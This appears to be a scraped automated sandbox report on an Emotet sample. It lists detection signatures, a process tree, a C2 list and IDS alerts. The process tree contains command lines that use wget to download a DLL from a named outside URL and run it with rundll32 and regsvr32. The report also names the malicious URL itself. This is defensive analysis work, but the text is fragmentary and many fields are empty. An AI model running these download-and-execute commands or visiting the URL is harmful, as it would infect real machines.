Edit tour
Windows
Analysis Report
http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV
Overview
General Information
Detection
Emotet
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
DLL side loading technique detected
C2 URLs / IPs found in malware configuration
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Deletes files inside the Windows folder
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
PE file contains sections with non-standard names
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Downloads executable code via HTTP
Drops PE files
Tries to load missing DLLs
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Registers a DLL
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Classification
- System is w10x64
- cmd.exe (PID: 7008 cmdline:
C:\Windows \system32\ cmd.exe /c wget -t 2 -v -T 60 -P "C:\Use rs\user\De sktop\down load" --no -check-cer tificate - -content-d isposition --user-ag ent="Mozil la/5.0 (Wi ndows NT 6 .1; WOW64; Trident/7 .0; AS; rv :11.0) lik e Gecko" " http://clo tizen.doth ome.co.kr/ members/lZ TkIb3OkjcV /" > cmdli ne.out 2>& 1 MD5: F3BDBE3BB6F734E357235F4D5898582D) - conhost.exe (PID: 7048 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) - wget.exe (PID: 7080 cmdline:
wget -t 2 -v -T 60 - P "C:\User s\user\Des ktop\downl oad" --no- check-cert ificate -- content-di sposition --user-age nt="Mozill a/5.0 (Win dows NT 6. 1; WOW64; Trident/7. 0; AS; rv: 11.0) like Gecko" "h ttp://clot izen.dotho me.co.kr/m embers/lZT kIb3OkjcV/ " MD5: 3DADB6E2ECE9C4B3E1E322E617658B60)
- loaddll64.exe (PID: 7124 cmdline:
loaddll64. exe "C:\Us ers\user\D esktop\dow nload\Njsz Mzh0ar.dll " MD5: 4E8A40CAD6CCC047914E3A7830A2D8AA) - cmd.exe (PID: 7132 cmdline:
cmd.exe /C rundll32. exe "C:\Us ers\user\D esktop\dow nload\Njsz Mzh0ar.dll ",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F) - rundll32.exe (PID: 7152 cmdline:
rundll32.e xe "C:\Use rs\user\De sktop\down load\NjszM zh0ar.dll" ,#1 MD5: 73C519F050C20580F8A62C849D49215A) - regsvr32.exe (PID: 7140 cmdline:
regsvr32.e xe /s C:\U sers\user\ Desktop\do wnload\Njs zMzh0ar.dl l MD5: D78B75FC68247E8A63ACBA846182740E) - regsvr32.exe (PID: 4428 cmdline:
C:\Windows \system32\ regsvr32.e xe "C:\Win dows\syste m32\QKXGFE EVVr\VycaG a.dll" MD5: D78B75FC68247E8A63ACBA846182740E) - rundll32.exe (PID: 7160 cmdline:
rundll32.e xe C:\User s\user\Des ktop\downl oad\NjszMz h0ar.dll,A OBplENEwxG sLJOHWaHDT izor MD5: 73C519F050C20580F8A62C849D49215A) - rundll32.exe (PID: 6348 cmdline:
rundll32.e xe C:\User s\user\Des ktop\downl oad\NjszMz h0ar.dll,B SUOlvQdFaM bSsYDjgkGG MD5: 73C519F050C20580F8A62C849D49215A) - rundll32.exe (PID: 2576 cmdline:
rundll32.e xe C:\User s\user\Des ktop\downl oad\NjszMz h0ar.dll,D llRegister Server MD5: 73C519F050C20580F8A62C849D49215A)
- svchost.exe (PID: 6072 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
- svchost.exe (PID: 6180 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
- svchost.exe (PID: 4992 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
- cleanup
{"C2 list": ["232.3.0.0:1", "112.194.0.0:443", "96.92.0.0:127", "68.211.2.0:5008", "208.100.90.0:1", "16.101.90.0:1", "56.211.2.0:4684", "4.1.0.0:92", "236.3.0.0:1", "67.211.2.0:4684", "80.100.90.0:1", "70.211.2.0:2752", "16.100.90.0:1", "192.3.0.0:1", "4.4.0.0:1", "72.211.2.0:2264", "208.109.90.0:1", "20.4.0.0:1", "32.4.0.0:1", "16.4.0.0:1", "36.4.0.0:1", "222.94.0.0:16", "74.211.2.0:3964", "208.99.90.0:1", "215.219.2.0:2976"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
Click to see the 4 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
JoeSecurity_Emotet_1 | Yara detected Emotet | Joe Security | ||
Click to see the 3 entries |
⊘No Sigma rule has matched
Timestamp: | 192.168.2.645.55.191.130497764432404334 07/21/22-06:52:35.157478 |
SID: | 2404334 |
Source Port: | 49776 |
Destination Port: | 443 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 192.168.2.6213.239.212.5497794432404326 07/21/22-06:52:37.822577 |
SID: | 2404326 |
Source Port: | 49779 |
Destination Port: | 443 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Virustotal: | Perma Link |
Source: | Avira URL Cloud: |
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | ReversingLabs: | ||
Source: | ReversingLabs: |
Source: | Malware Configuration Extractor: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Code function: | 5_2_0000000180031F98 | |
Source: | Code function: | 5_2_0000000180032754 | |
Source: | Code function: | 5_2_0000000180032C30 | |
Source: | Code function: | 5_2_0000000180031F98 | |
Source: | Code function: | 8_2_0049FEDC |
Networking |
---|
Source: | Network Connect: | Jump to behavior | ||
Source: | Network Connect: | Jump to behavior |
Source: | Snort IDS: | ||
Source: | Snort IDS: |
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: | ||
Source: | IPs: |
Source: | HTTP traffic detected: | ||
Source: | HTTP traffic detected: |
Source: | HTTP traffic detected: |